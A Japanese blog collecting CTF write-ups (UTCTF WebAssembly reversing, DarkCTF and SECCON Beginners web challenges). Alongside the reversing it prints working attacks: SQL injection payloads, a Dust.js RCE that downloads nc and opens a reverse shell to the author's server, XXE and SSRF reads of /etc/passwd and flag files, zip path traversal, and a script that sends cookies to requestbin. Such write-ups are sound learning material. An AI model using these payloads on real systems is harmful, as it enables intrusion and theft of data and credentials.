UTCTF 2020 writeup - Wasm Fans Only
某CTFチームのAdvent Calendar 2020向けの記事です。
例年のごとく年末の締めくくりとして今年開催のWeb系のWriteupを読み漁っていたところ、WebAssemblyの問題にいくつか遭遇した。WebAssemblyは比較的Rev問に近く苦手意識があるものの解けるようになりたいと思っていた。そんな折にChromeのWebAssemblyのデバッグ機能が強化された記事を見かけた。
これで少し手が出しやすくなってきた気がしたので、今年の過去問をサンプルに解いてみることにした。
問題
UTCTF 2020のWASM Fans Onlyを解く。
この大会は2020年3月開催であったにもかかわらず、嬉しいことにまだ問題サーバが生きている。
問題サーバはこちら。
https://wasmfans.ga/
また、githubに問題ファイルが公開されているのも嬉しい。
元のCのソースコードも公開されており、答え合わせをしながら解析できるため、初心者にピッタリ。
github.com
またWriteupもあるのも嬉しい。
https://ctftime.org/writeup/18640
なお、後のネタバレになってしまうが、実は問題サーバのホスト名(wasmfans.ga)がキーになっているため、もし上記のgithubのリポジトリから落としてきて自分のサーバで試したい場合は、wasmfans.gaのホスト名で自サーバにアクセスできるよう/etc/hostsやC:\Windows\System32\drivers\etc\hostsを設定すること。
Writeup
HTML/JavaScript解析
まずURLにアクセスすると以下の画面が表示される。
UsernameとPasswordを適当に入力してLog in
ボタンを押下するとTry again!。
なおPasswordの項目IDはflag
である。
Log in
ボタンを押下するとページ内のcheckFlag
関数を呼び、checkFlag
関数はModule._verify_flag();
を呼んでいる。
_verify_flag
はverifyFlag.js
ファイルに定義されており、更にWebAssemblyのverify_flag関数を呼んでいる。
早速ここからWebAssemblyの世界へ突入するが、その前にもう少しverifyFlag.js
ファイルを見てみる。
verifyFlag.js
は非常に大きいファイルで正直わけわからん状態であるが、エラーメッセージの「Try again!」で検索すると、意味がわかるロジックが見つかる。これら3つの関数はWebAssemblyから呼ばれる関数なので覚えておく。
wasmのざっくり静的解析
verifyFlag.wasm
ファイルをverify_flag
で検索するとすぐに関数が見つかる。
ザっと目につく処理を書き出してみる。
0x01826~0x018e8
変数の宣言と初期化?0x018ec~0x01985
ループ処理で何かを55
とXORしている
0x019ac
$env.getString
をcallしている
0x019b8~0x01a23
変数の宣言と初期化?0x01a26~0x1abc
ループ処理で何かの変数を96
とXORしている
0x01ae3
$env.getString
をcallしている
0x01b26~0x01bf3 変数の宣言と移送か何かをしている
0x01c3e~0x01de0
$func23
を呼んでから巨大な処理ブロック内へ。$func23
の返り値が0の場合は$label6
を抜けて$env.lose
を呼ぶ。その後$label9
を抜けて終了。→NG$func23
の返り値が0でない場合は$aes_encrypt_block
を呼ぶ。その後ループ内で何らかの配列を1文字ずつ比較。- 一致しない場合は
$env.lose
を呼ぶ。→NG - ループを抜けた=全ての変数が一致したら
$env.win
を呼ぶ。→OK
- 一致しない場合は
$func23
の解説は省略。フラグ文字列の文字数とprefixとsuffixのチェックである。
8のうち、ポイントとなる処理だけ残して以下に転記した。
call $func23 local.set $var121 block $label9 block $label6 local.get $var121 i32.eqz br_if $label6 (snip) local.get $var133 local.get $var128 local.get $var125 call $aes_encrypt_block local.get $var2 local.get $var122 i32.store offset=12 block $label7 loop $label10 i32.const 16 (snip) local.get $var159 local.get $var160 i32.and local.set $var161 block $label8 local.get $var161 i32.eqz br_if $label8 call $env.lose br $label9 end $label8 (snip) end $label10 unreachable end $label7 local.get $var2 i32.load offset=136 local.set $var165 local.get $var165 call $env.win br $label9 end $label6 call $env.lose end $label9
何となく処理の流れは掴めたので、あとはChromeのDebuggerで変数の値を確認しながら実際に動かしてみる。
wasmの動的解析
※この解析には冒頭で紹介したChromeのWebAssemblyのデバッグ機能を使いたいためChromeのCanary版を使用している。(2020/12/22現在)
verify_flag
の先頭にブレイクポイントを設定し、usernameにaaaaaaaaaaaaaaaa
、Passwordにbbbbbbbbbbbbbbbb
を入力して実行する。
そして、Chromeの新機能を発動するべく右側のペインのenv.memoryで右クリックしてInspect memory
を選択する。
下側のペインにメモリの状態が表示された!ASCII表示もあるぞ!
これまで右側のペインで縦に並んだ変数1つずつしか見れなかったのに、これは嬉しい。
また、変数にカーソル当てると、変数の中がホバーで表示されるようになった!
「え、今までそうじゃなかったの?」と疑問に思う人がいるかもしれないが、2020/12/22現在の安定板のChromeではできない。
このホバーで表示された変数をコピーし、先ほどのメモリインスペクタのアドレス欄に貼り付ける。
(10進数を貼り付けると、自動的に16進数に変換してくれる。)
すると、何かのバイトデータが格納されていることがわかる。読める、読めるぞ。
上図は最初の変数の初期化が終わるあたりまで処理を進めた後の状態であるが、次に55
とXORをとっているループ処理を何周か進めてみると、JavaScriptのDOMへのアクセスっぽい文字列が出てきた。
ループを最後まで進めると、HTMLのflag
項目(Passwordのテキストボックスに入力した文字列)を取得するためのJavaScript呼出し文字列であるdocument.getElementById("flag").value
が出現した。
そして、その次の$env.getString
にこのJavaScript文字列を渡し、Passwordに入力した文字列を取得しメモリに格納された。
同じように次の$env.getString
まで処理を進めると、window.location.hostname
の文字列を渡してホスト名wasmfans.ga
をメモリに格納していることを確認できた。
$func23
まで進めると、返り値0が返ってきてそのままlose処理へ。
$func23
を突破するため、24文字かつprefixがutflag{
、suffixが}
の条件を満たす文字列をPassword項目に入力してリトライ。
無事に突破して$aes_encrypt_block
の呼出しまで進め、渡している変数を確認する。
ここでも変数のホバー表示とメモリインスペクションが活躍する。
渡している3つの変数は以下のとおり。
- Password項目に入力した
utflag{AAAAAAAAAAAAAAAA}
のA×16文字の部分。
- いつの間にかメモリに格納されていた
nasmfans.ga
という文字列。どうやら静的解析の7の処理で生成していたようだ。AESの鍵にあたる。
- 0x00。たぶんAESのIV。
そろそろゴールは近い。
入力文字列をAES暗号化したデータとどのデータと比較しているかだが、ステップ実行しながら変数とメモリインスペクションを確認していくと、以下のバイトデータと比較していそうなことがわかる。
残念ながらメモリインスペクションからコピペができないため、手動で書き出す。
0f ae f8 59 84 b1 28 67 28 18 88 17 64 d3 25 2a
あとはAES復号するだけ。
from Crypto.Cipher import AES encrypted = [0x0f, 0xae, 0xf8, 0x59, 0x84, 0xb1, 0x28, 0x67, 0x28, 0x18, 0x88, 0x17, 0x64, 0xd3, 0x25, 0x2a] key = [] for c in 'nasmfans.ga': key.append(ord(c)) while len(key) != 16: key.append(0) cipher = AES.new(bytes(key), AES.MODE_ECB) print(cipher.decrypt(bytes(encrypted)))
実行する。
root@kali:/mnt/hgfs/CTF/Contest/wasm# python3 solve.py b'fPRv38aICAz31Ix7'
フラグ文字列感は無いが、試しに画面入力してみる。prefixとsuffixは忘れずに。
初めてのWebAssembly問ということで、元のCのソースやWriteupがあるにもかかわらず時間をかけたが、おかげで多少慣れた。直近のChromeのデバッグ機能追加が無ければ心が折れたかもしれない。今後の機能強化も期待したい。
DarkCTF Writeup
仕事や資格試験や夜泣き対応でCTFどころではない状態であったが、それらが同時に落ち着いてきたので久しぶりのCTF。 本ブログにも「この広告は、90日以上更新していないブログに表示しています。」と表示されており、少しあせらされた。
今週末は多数のCTFが開催されていたが、チームメンバーが既に解き始めていたことと、20位まで商品が出ることから、DarkCTFに注力した。 結果は16位で、Digital Oceanの$100 cloud creditsを頂けるようだ。
自分が解いた問題から、いくつかWriteupを書く。
Agent-U
HTMLソース内のコメントにadmin/adminでログインするよう指示がある。ログインすると自分のUserAgentが表示される。
UserAgentに'
を入力するとMySQLのエラーメッセージが表示されるため、SQL Injectionができそう。
ただ、Insert文を実行しているようで、単純な方法では情報が抜き出せない。
以下を参考にして試す。
https://www.exploit-db.com/docs/33253
# curl http://agent.darkarmy.xyz/ -d "uname=admin&passwd=admin&submit=Submit" -A "' or updatexml(1,concat(0x7e,(version())),0) or '" <!DOCTYPE html> <html> <head> <title>Agent U</title> </head> <body> <center><font color=red><h1>Welcome Players To MY Safe House</h1></font></center> <br><br><br> <form action="" name="form1" method="post"> <center> <font color=yellow> Username : </font><input type="text" name="uname" value=""/> <br> <br> <font color=yellow> Password : </font> <input type="text" name="passwd" value=""/></br> <br> <input type="submit" name="submit" value="Submit" /> </center></form> <font size="3" color="#FFFF00"> <br><!-- TRY DEFAULT LOGIN admin:admin --> <br> <br>Your IP ADDRESS is: 162.158.119.79<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: ' or updatexml(1,concat(0x7e,(version())),0) or '</font><br>XPATH syntax error: '~5.7.31'<br><br><img src="vibes.png" /><br> </font> </div> </body> </html>
XPATH syntax error: '~5.7.31'
というように、version()の実行結果が返ってきた。
ここからDB内のテーブルを見ていたがフラグが見つからない。 問題文を見なおすと、flag format darkCTF{databasename}と記載があった。アッ,ハイ...
# curl http://agent.darkarmy.xyz/ -d "uname=admin&passwd=admin&submit=Submit" -A "' or updatexml(1,concat(0x7e,databasename()),0) or '" (snip) <br>Your IP ADDRESS is: 162.158.118.44<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: ' or updatexml(1,concat(0x7e,databasename()),0) or '</font><br>FUNCTION ag3nt_u_1s_v3ry_t3l3nt3d.databasename does not exist<br><br><img src="vibes.png" /><br> </font> </div> </body> </html>
フラグ文字列はdarkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
でした。
Dusty Notes
ノートの追加と削除ができるサービス。 パラメータを変更しながら調査していると、特定の制御文字で例外が発生。
# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" -d "message=%0d" {"stack":"SyntaxError: Invalid or unexpected token\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Invalid or unexpected token"}r
最初のrmコマンドと、curlの-c、-b、-Lオプションは、Cookieを維持してリダイレクトさせないといけないための措置。
スタックトレースより、dust.jsを使用していることがわかる。問題タイトルも示唆していた。
既知の脆弱性が無いか調査すると以下の記事がHIT。
artsploit.blogspot.com
- 配列形式のパラメータにエスケープ処理が適用されないこと
- ifヘルパーを使用するとevalにそのままパラメータが渡されること
これら2つの問題の組合せで発生したRCEのようだ。 スタックトレースを見ると、Object.ifと出ており後者の条件に合致している可能性がありそうだ。
上記の記事を見ながら、以下のコマンドで自分のサーバにHTTPリクエストを発行させてみる。
# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('curl myserver')-'"
アクセスが来たので、RCEが成功したことがわかる。
34.89.46.46 - - [26/Sep/2020:20:21:27 +0000] "GET / HTTP/1.1" 200 225 "-" "curl/7.64.0"
フラグだけ取得してもよいが、せっかくなのでリバースシェルを取る。
ncコマンドをダウンロードさせて、実行権限をつけさせて、自サーバに接続させる。
# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('curl myserver/nc -o /tmp/nc')-'" # rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('chmod 777 /tmp/nc')-'" # rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('/tmp/nc myserver 4444 -e /bin/bash')-'"
root@ip-172-31-6-71:/var/www/html# nc -nvlp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 34.89.46.46 43638 received! ls app.js node_modules package-lock.json package.json public views whoami root ls -la / total 76 drwxr-xr-x 1 root root 4096 Sep 26 03:29 . drwxr-xr-x 1 root root 4096 Sep 26 03:29 .. -rwxr-xr-x 1 root root 0 Sep 26 03:29 .dockerenv drwxr-xr-x 2 root root 4096 Sep 8 07:00 bin drwxr-xr-x 2 root root 4096 Jul 10 21:04 boot drwxr-xr-x 5 root root 340 Sep 26 03:29 dev drwxr-xr-x 1 root root 4096 Sep 26 03:29 etc -rwxr----- 1 root root 38 Sep 26 03:29 flag.txt drwxr-xr-x 1 root root 4096 Sep 26 03:29 home drwxr-xr-x 1 root root 4096 Sep 16 15:24 lib drwxr-xr-x 2 root root 4096 Sep 8 07:00 lib64 drwxr-xr-x 2 root root 4096 Sep 8 07:00 media drwxr-xr-x 2 root root 4096 Sep 8 07:00 mnt drwxr-xr-x 1 root root 4096 Sep 16 15:24 opt dr-xr-xr-x 147 root root 0 Sep 26 03:29 proc drwx------ 1 root root 4096 Sep 26 08:19 root drwxr-xr-x 3 root root 4096 Sep 8 07:00 run drwxr-xr-x 2 root root 4096 Sep 8 07:00 sbin drwxr-xr-x 2 root root 4096 Sep 8 07:00 srv dr-xr-xr-x 13 root root 0 Sep 26 03:29 sys drwxrwxrwt 1 root root 4096 Sep 26 20:28 tmp drwxr-xr-x 1 root root 4096 Sep 8 07:00 usr drwxr-xr-x 1 root root 4096 Sep 8 07:00 var cat /flag.txt darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
フラグゲット。
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
Chain Race
入力したURLにリクエストを発行してレスポンスを表示するサービス。
URLにfile:///etc/passwd
を入力すると以下が返却された。
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin
最後の1行のユーザ名にしたがってhttp://localhost:8080/
を入力すると以下が返却された。
<code><span style="color: #000000"> <span style="color: #0000BB"><?php<br />session_start</span><span style="color: #007700">();<br />include </span><span style="color: #DD0000">'flag.php'</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$login_1 </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$login_2 </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />if(!(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">]) && isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">]))){<br /> </span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">"index.php"</span><span style="color: #007700">);<br /> die();<br />}<br /><br /></span><span style="color: #0000BB">$login_1 </span><span style="color: #007700">= </span><span style="color: #0000BB">strcmp</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">], </span><span style="color: #DD0000">"admin"</span><span style="color: #007700">) ? </span><span style="color: #0000BB">1 </span><span style="color: #007700">: </span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$temp_name </span><span style="color: #007700">= </span><span style="color: #0000BB">sha1</span><span style="color: #007700">(</span><span style="color: #0000BB">md5</span><span style="color: #007700">(</span><span style="color: #0000BB">date</span><span style="color: #007700">(</span><span style="color: #DD0000">"ms"</span><span style="color: #007700">).@</span><span style="color: #0000BB">$_COOKIE</span><span style="color: #007700">[</span><span style="color: #DD0000">'PHPSESSID'</span><span style="color: #007700">]));<br /></span><span style="color: #0000BB">session_destroy</span><span style="color: #007700">();<br />if ((</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">] == </span><span style="color: #DD0000">"0x1337"</span><span style="color: #007700">) || </span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">] == </span><span style="color: #DD0000">"admin"</span><span style="color: #007700">) {<br /> die(</span><span style="color: #DD0000">"nope"</span><span style="color: #007700">);<br />}<br /><br />if (</span><span style="color: #0000BB">strcasecmp</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">], </span><span style="color: #DD0000">"0x1337"</span><span style="color: #007700">) == </span><span style="color: #0000BB">0</span><span style="color: #007700">){<br /> </span><span style="color: #0000BB">$login_2 </span><span style="color: #007700">= </span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #0000BB">file_put_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$temp_name</span><span style="color: #007700">, </span><span style="color: #DD0000">"your_fake_flag"</span><span style="color: #007700">);<br /><br />if (</span><span style="color: #0000BB">$login_1 </span><span style="color: #007700">&& </span><span style="color: #0000BB">$login_2</span><span style="color: #007700">) {<br /> if(@</span><span style="color: #0000BB">unlink</span><span style="color: #007700">(</span><span style="color: #0000BB">$temp_name</span><span style="color: #007700">)) {<br /> die(</span><span style="color: #DD0000">"Nope"</span><span style="color: #007700">);<br /> } <br />echo </span><span style="color: #0000BB">$flag</span><span style="color: #007700">;<br />}<br />die(</span><span style="color: #DD0000">"Nope"</span><span style="color: #007700">);<br /></span> </span> </code>
phpのhighlight_fileの出力結果のようなので、HTML形式で保存してからブラウザで開く。
<?php session_start(); include 'flag.php'; $login_1 = 0; $login_2 = 0; if(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die(); } $login_1 = strcmp($_GET['user'], "admin") ? 1 : 0; $temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID'])); session_destroy(); if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope"); } if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1; } file_put_contents($temp_name, "your_fake_flag"); if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag; } die("Nope");
条件を満たすuserとsecretのパラメータをセットすればよさそうだが、
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope"); }
のチェックが邪魔をしており、完全一致だとここで弾かれる。
strcmp関数とstrcasecmp関数の仕様を確認すると、ただ、各パラメータの条件の判定方法に穴があることがわかる。
結果的に、以下のパラメータで条件を満たしつつ、チェックを迂回できる。
http://localhost:8080/?user=admin1&secret=0X1337
もう1つ条件があり、sha1(md5(date("ms").@$_COOKIE['PHPSESSID']))
のファイル名の作成と削除をしているが、フラグ文字列を出力するには削除に失敗させる必要がある。
一見、date("ms")はミリ秒のように見えるが、実は月
と秒
である。
$_COOKIE['PHPSESSID']
はランダムなセッションIDが入ってくるように見えるが、そもそもCookieをセットしていなければ空である。
よって、同時に複数リクエストを発行すればファイル名が同一になり、先行したリクエストが先にファイルを削除して、後続のリクエストのファイル削除処理が失敗する可能性がある。
3つほどターミナルを開いて、以下のコマンドを実行。
# for i in $(seq 1 100);do curl http://race.darkarmy.xyz:8999/testhook.php --data-urlencode "handler=http://localhost:8080/?user=admin1&secret=0X1337"; done
しばらく待つとターミナルの1つで以下の表示。
NopeNopeNopedarkCTF{9h9_15_50_a3fu1}NopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNope
フラグゲット
CTF{9h9_15_50_a3fu1}
File Reader
ファイルをアップロードするサービス。
適当なファイルをアップロードすると、pdfかdocxにしか対応していないと怒られる。
問題文がMy friend developed this website but he says user should know some Xtreme Manipulative Language to understand this web.
とのことで、XXEを疑う。
docxをアップロードするとページ数が画面に表示された。
docxをzipとして展開してpage
でgrepすると、ページ数の定義はapp.xmlでしていることがわかる。
おそらくapp.xmlを読み込んでいると想定し、app.xmlを改ざんする。
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///flag.txt" >]>
を追加page
タグの値を&xxe;
に変更
zipで固め直してアップロードするとフラグが表示された。
フラグゲット
darkCTF{1nj3ct1ng_d0cx_f0r_xx3}
SECCON Beginners CTF 2020 Writeup
noranecoチームは未参加のため、いつもと違うチームで参加。
Web問を中心に解いた。
色々な方がwriteupを書いてくれると思うので簡易的なwriteupにとどめる。
Web
Spy
DBに存在するユーザを特定すれば勝ち。
ソースコードを読むと、nameを条件にDBからユーザを検索して、存在しない場合は終了し、存在する場合は後続でパスワードのハッシュを計算する処理がある。よって、ユーザの存在有無でレスポンス時間に差異が生まれる。ご丁寧にも、処理時間をレスポンスに含めてくれている。
$ for u in `cat employees.txt`; do echo $u ;curl https://spy.quals.beginners.seccon.jp/ -d "name=$u&password=hoge" -s | grep "It took"; done Arthur <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002787 sec to load this page.</p> Barbara <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003148 sec to load this page.</p> Christine <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003008 sec to load this page.</p> David <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003564 sec to load this page.</p> Elbert <p style="font-size: 12px; color: #aaaaaa;">It took 0.3527238 sec to load this page.</p> Franklin <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002318 sec to load this page.</p> George <p style="font-size: 12px; color: #aaaaaa;">It took 0.4679147 sec to load this page.</p> Harris <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003867 sec to load this page.</p> Ivan <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003446 sec to load this page.</p> Jane <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002919 sec to load this page.</p> Kevin <p style="font-size: 12px; color: #aaaaaa;">It took 0.0006480 sec to load this page.</p> Lazarus <p style="font-size: 12px; color: #aaaaaa;">It took 0.4976170 sec to load this page.</p> Marc <p style="font-size: 12px; color: #aaaaaa;">It took 0.3256018 sec to load this page.</p> Nathan <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002081 sec to load this page.</p> Oliver <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002898 sec to load this page.</p> Paul <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003184 sec to load this page.</p> Quentin <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003119 sec to load this page.</p> Randolph <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002607 sec to load this page.</p> Scott <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003556 sec to load this page.</p> Tony <p style="font-size: 12px; color: #aaaaaa;">It took 0.3267539 sec to load this page.</p> Ulysses <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002503 sec to load this page.</p> Vincent <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003067 sec to load this page.</p> Wat <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002440 sec to load this page.</p> Ximena <p style="font-size: 12px; color: #aaaaaa;">It took 0.6319789 sec to load this page.</p> Yvonne <p style="font-size: 12px; color: #aaaaaa;">It took 0.5589504 sec to load this page.</p> Zalmon <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002911 sec to load this page.</p>
処理時間の長いユーザを入力してフラグゲット。
Tweetstore
dbのcurrent_userを取得できれば勝ち。 SQLiの問題。
searchパラメータとlimitパラメータを入力可能。 searchパラメータは'記号がエスケープされてwhere句にセットされるが、limitパラメータはエスケープされずにlimit句へセットされる。 limit句にcurrent_userのASCIIコード値をセットして、返ってくる件数を観察することで1文字ずつ特定可能。
import requests URL = "https://tweetstore.quals.beginners.seccon.jp/" flag = "" for i in range(50): r = requests.get( URL, params = { "search":"", "limit":"ascii(substr(current_user,{},1))-48".format(len(flag)+1) }, ) count = r.text.count("Watch@Twitter") flag += chr(count + 48) print(flag)
$ python solve.py c ct ctf ctf4 ctf4b (snip) ctf4b{is_postgres_your_friend?}
unzip
ディレクトリトラバーサルするzipファイルを作るだけ。
$ wget https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py $ touch flag.txt $ python evilarc.py -d 3 -o unix flag.txt $ unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 0 2020-05-23 17:32 ../../../flag.txt --------- ------- 0 1 file
アップロードしてアクセスするとフラグゲット
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
profiler
graphql injectionの問題。
# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {__type (name: \"Query\") {name fields{name type{name kind ofType{name kind}}}}}"}' -s | jq { "data": { "__type": { "fields": [ { "name": "me", "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "OBJECT", "name": "User" } } }, { "name": "someone", "type": { "kind": "OBJECT", "name": "User", "ofType": null } }, { "name": "flag", "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "String" } } } ], "name": "Query" } }
someoneクエリがある。 adminの情報を取得してみる。
# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {someone(uid: \"admin\") {uid,token}}"}' -s | jq { "data": { "someone": { "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b", "uid": "admin" } } }
以下を参考にスキーマを取得。
PayloadsAllTheThings/GraphQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
updateTokenが存在。自分のTokenをadminのtokenに変更する。
その後、FLAGの画面からフラグゲット。
Somen
まず、security.jsのロードをbaseタグで妨害。
CSPにstrict-dynamicが設定されていると、nonceが適切に設定されたscriptタグ内からロードされるスクリプトの実行は許可されるため、idがmessageのscriptタグを作って差し込んでもらう。
location.href="http://requestbin.net/r/1jban181?"+document.cookie; //</title><base href="http://example.com/"><script id="message"></script>
Crypt
R&B
先頭1文字削りながらBASE64とROT13を繰り返すだけ。
Reversing
ghost
$ echo ctf4b{AAAA} | gs -c "/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit" GPL Ghostscript 9.52 (2020-03-19) Copyright (C) 2020 Artifex Software, Inc. All rights reserved. This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY: see the file COPYING for details. 3417 61039 39615 14756 10315 49836 8453 13295 12034 59378 12638
最初のctf4b{の部分が、与えられたoutput.txtの最初と一致することがわかったので、あとは1文字ずつつ探していく。
import subprocess import string correct = open("output.txt").read() flag = "ctf4b{" while True: found = False for c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[]^_`{|}~ ': cmd1 = "echo '{}'".format(flag + c) cmd2 = "| gs -c '/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit'" cmd = cmd1 + cmd2 result = subprocess.check_output(cmd, shell=True).decode("utf-8").split("\n")[4] #print(correct) #print(result) if result in correct: flag = flag + c print(flag) found = True break if found: continue else: print(flag) exit(0)
$ python3 solve.py ctf4b{s (snip) ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
Reversingを一切しておらず、出題者に申し訳ない気持ちしかない。
Misc
readme
/proc/self/environ
を確認すると、/home/ctf/server
で実行されていることがわかる。
よって、/proc/self/cwd
から親ディレクトリを辿ればよい。
$ nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cwd/../flag ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}